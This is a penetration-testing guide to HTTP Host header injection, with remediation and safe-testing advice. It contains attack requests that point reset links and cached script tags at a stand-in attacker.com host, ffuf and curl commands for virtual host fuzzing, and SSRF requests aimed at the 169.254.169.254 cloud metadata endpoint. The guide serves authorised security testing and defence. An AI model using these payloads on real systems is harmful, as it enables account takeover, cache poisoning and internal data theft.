8 min read

Host Header Injection

Host header injection exploits web applications that trust the HTTP Host header for generating URLs, routing requests, or making security decisions. This can lead to password reset poisoning, web cache poisoning, SSRF, and access to internal virtual hosts.

Warning

Host header attacks can affect password reset flows and caching layers. Test on designated accounts and coordinate with the operations team to avoid disrupting production caches.

Frameworks: WSTG-INPV-17 · ASVS 5.0 V4.1.3, V14.2.1 · CWE-644 · T1190

What "the App Trusts Host" Actually Means

HTTP/1.1 requires a Host header, and the server must do something with it. Four consumers matter: absolute-URL generation (links, reset emails, redirects), virtual-host routing (which site configuration handles the request), cache keys at the CDN, and occasionally access decisions. The vulnerability is any one of those consuming the header without checking it against the names the application is actually served as.

The value can arrive in more ways than the header itself: X-Forwarded-Host, X-Host, Forwarded: host=, X-Original-URL, and the absolute-form request line. Proxies often append to X-Forwarded-Host rather than replacing it, so test both orders — attacker.com, target.com and target.com, attacker.com — because applications disagree about which entry they read.

Tools & Resources

Burp Suite

Header manipulation Website →

Param Miner

Burp BApp Store BApp →

curl

Built-in on most OS

ffuf

go install github.com/ffuf/ffuf/v2@latest GitHub →

Password Reset Poisoning

The most impactful host header attack. If the application uses the Host header to generate password reset links, an attacker can redirect the reset link to their server:

Register your own address as the victim, request a reset with Host set to a Collaborator domain, and read the email. A true positive is a link whose host is yours and whose token works when you follow it; a link that still points at target.com means URLs are generated from configuration, which is the correct behaviour. Never request a reset for an address you do not control, and never follow a token belonging to a real user.

password-reset-poisoning.http
# Normal password reset request:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# The app generates: https://target.com/reset?token=abc123
# and emails it to the victim.

# Attack: Inject attacker's domain in Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# The app generates: https://attacker.com/reset?token=abc123
# Victim clicks the link → token sent to attacker's server

# Alternative headers to try if Host is blocked:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# Or:
Host: target.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Original-URL: https://attacker.com/reset
Forwarded: host=attacker.com

Tip

Testing Safely: Use your own email address as the victim. Check if the reset link in the email points to your attacker domain. Use a Burp Collaborator or webhook.site URL.

Web Cache Poisoning via Host Header

Cache poisoning needs two things: a response that reflects the Host into something executable or navigable, and a cache that stores it under a key which omits the Host. Send the request once, then fetch the same path with a clean Host and no cookies. If the poisoned body comes back, the cache is the finding — Age and X-Cache prove it was stored rather than merely reflected.

host-cache-poisoning.http
# If the response is cached and includes Host-derived URLs:
GET / HTTP/1.1
Host: attacker.com

# If the CDN caches the response, all users see:
# <script src="https://attacker.com/js/app.js"></script>

# Test with X-Forwarded-Host:
GET /static/page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# Check response for cache headers:
# X-Cache: MISS → first request (poisoning it)
# X-Cache: HIT → subsequent requests (serving poisoned content)

# Also check:
# - Link tags, script src, meta refresh URLs
# - Open Graph / social media preview URLs
# - Canonical URL tags
# - Redirect Location headers

Virtual Host Enumeration

Fuzzing the Host header finds virtual hosts the DNS does not advertise. Match on response size and title rather than status, because most deployments return 200 from a default vhost for every name. A different application or an admin console is the signal.

vhost-enumeration.sh
# Discover internal virtual hosts by fuzzing the Host header:

# Using ffuf:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u https://TARGET_IP/ \
  -H "Host: FUZZ.target.com" \
  -fs 0  # Filter empty responses

# Using curl to test specific hosts:
curl -k -H "Host: admin.target.com" https://TARGET_IP/
curl -k -H "Host: internal.target.com" https://TARGET_IP/
curl -k -H "Host: staging.target.com" https://TARGET_IP/
curl -k -H "Host: dev.target.com" https://TARGET_IP/
curl -k -H "Host: localhost" https://TARGET_IP/

# Try accessing admin panels via Host header:
curl -H "Host: admin" http://TARGET_IP/
curl -H "Host: 127.0.0.1" http://TARGET_IP/admin

SSRF via Host Header

Routing-based SSRF depends on a proxy that selects an upstream from the Host. Send an absolute-form request line or a Host of 169.254.169.254 and look for metadata content, not a timeout. A generic 502 means the proxy rejected the target, which is the control working as intended rather than a partial finding.

host-ssrf.http
# Some reverse proxies/load balancers route based on Host header:
GET / HTTP/1.1
Host: 169.254.169.254  # AWS metadata

GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254

# Absolute URL bypass:
GET https://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com

# Connection-state attacks:
# Send first request with valid Host, second with attacker Host
# on the same connection (HTTP/1.1 keep-alive)
GET / HTTP/1.1
Host: target.com

GET /admin HTTP/1.1
Host: 127.0.0.1

Confirming Without Collateral

Use your own account, your own callback host, and a cache-busting query parameter unless you are deliberately testing the cache. Reset poisoning against a real user's address is indistinguishable from an attack on that user, and a poisoned cache entry can outlive your test by hours. Confirm, then flush: most CDNs expose a purge API, so record the exact URL for the operations team.

Testing Checklist

  • ☐ 1. Send requests with modified Host header — does the response reflect it?
  • ☐ 2. Test password reset with attacker Host — does the email link change?
  • ☐ 3. Try X-Forwarded-Host, X-Host, Forwarded headers as alternatives
  • ☐ 4. Check for cached responses that include Host-derived URLs
  • ☐ 5. Fuzz for internal virtual hosts (admin, staging, dev, internal)
  • ☐ 6. Test SSRF via Host header to cloud metadata endpoints
  • ☐ 7. Test with duplicate Host headers
  • ☐ 8. Test with port in Host header (target.com:attacker.com)

Evidence Collection

Request/Response: Burp capture showing injected Host and reflected URL

Email Screenshot: Password reset email with attacker-controlled URL

Collaborator Log: Burp Collaborator/webhook showing token received

Route Comparison: The default vhost response and the candidate vhost response side by side (title, size), proving a distinct application rather than a 200 from the catch-all

Cache Key Proof: Age/X-Cache headers plus a clean-Host request returning the poisoned body — the stored response, not just reflection

CVSS Range: Password reset poisoning: 7.5–9.1 | Cache poisoning: 6.1–8.6

Remediation

  • • Allowlist Host values: Configure the application to only accept known Host header values.
  • • Use server-side URL configuration: Generate URLs from configuration, not from request headers.
  • • Ignore X-Forwarded-Host: Unless behind a trusted reverse proxy, ignore forwarded host headers.
  • • Cache key on Host: Ensure caching layers include the full Host header in cache keys.
  • • Reject unknown Hosts at the edge: Maintain an allowlist of names the application is served as and return 400 for anything else. A request with a Host the site does not answer should never reach the application.
  • • Generate URLs from configuration: Use relative links, or build absolute URLs from a configured base URL rather than the request. This removes the reset-poisoning class entirely.
  • • Strip inbound forwarding headers: Your proxy should overwrite X-Forwarded-Host, not append to it, and should discard client-supplied copies before forwarding.

False Positive Identification

  • Reflection without impact: The Host header appearing in HTML comments or non-clickable locations may not be exploitable — confirm the reflected value is in href/src attributes or redirect targets.
  • Load balancer behavior: Some load balancers normalize Host headers before forwarding — test from outside the LB to confirm the vulnerability is externally reachable.
  • X-Forwarded-Host by design: Reverse proxies legitimately set X-Forwarded-Host — only report if the application uses it unsafely for URL construction.
  • Display name reflects Host: A page that prints the Host as a greeting or in an email salutation is not poisoning. Follow the URL that is generated, not the text that quotes the header.
  • Proxy rewrites Host: A CDN or ingress controller may normalise or overwrite the header before the origin sees it. Test from the public edge as well as from any internal position you were given, and report which one was used.

Host Header Attack Practice

Exploit Host header trust on labs covering reset poisoning and routing abuse.

PortSwigger — HTTP Host Header Attacks PortSwigger medium
Password reset poisoningCache poisoning via HostRouting-based SSRF